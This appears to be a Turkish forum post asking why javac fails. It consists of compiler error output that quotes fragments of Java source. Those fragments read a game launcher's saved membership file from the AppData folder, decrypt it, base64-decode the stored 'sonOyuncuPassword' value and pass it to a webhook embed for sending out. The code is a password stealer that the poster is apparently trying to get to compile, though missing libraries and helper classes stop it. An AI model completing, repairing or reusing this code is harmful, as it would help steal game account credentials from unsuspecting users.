Javac main.class çıktısı vermiyor ve hata veriyor

Main.java:3: error: package com.google.common.io does not exist
import com.google.common.io.BaseEncoding;
^
Main.java:4: error: package com.google.gson does not exist
import com.google.gson.JsonObject;
^
Main.java:14: error: cannot find symbol
JsonObject element = Utils.decrypt(new File(System.getenv("appdata") + "\\.sonoyuncu\\sonoyuncu-membership.json")).getAsJsonObject();
^
symbol: class JsonObject
location: class Main
Main.java:14: error: cannot find symbol
JsonObject element = Utils.decrypt(new File(System.getenv("appdata") + "\\.sonoyuncu\\sonoyuncu-membership.json")).getAsJsonObject();
^
symbol: variable Utils
location: class Main
Main.java:16: error: cannot find symbol
String password = new String(BaseEncoding.base64().decode(element.get("sonOyuncuPassword").getAsString()));
^
symbol: variable BaseEncoding
location: class Main
Main.java:18: error: cannot find symbol
WebhookUtil webhook = new WebhookUtil(URL);
^
symbol: class WebhookUtil
location: class Main
Main.java:18: error: cannot find symbol
WebhookUtil webhook = new WebhookUtil(URL);
^
symbol: class WebhookUtil
location: class Main
Main.java:19: error: package WebhookUtil does not exist
webhook.addEmbed((new WebhookUtil.EmbedObject())
^
8 errors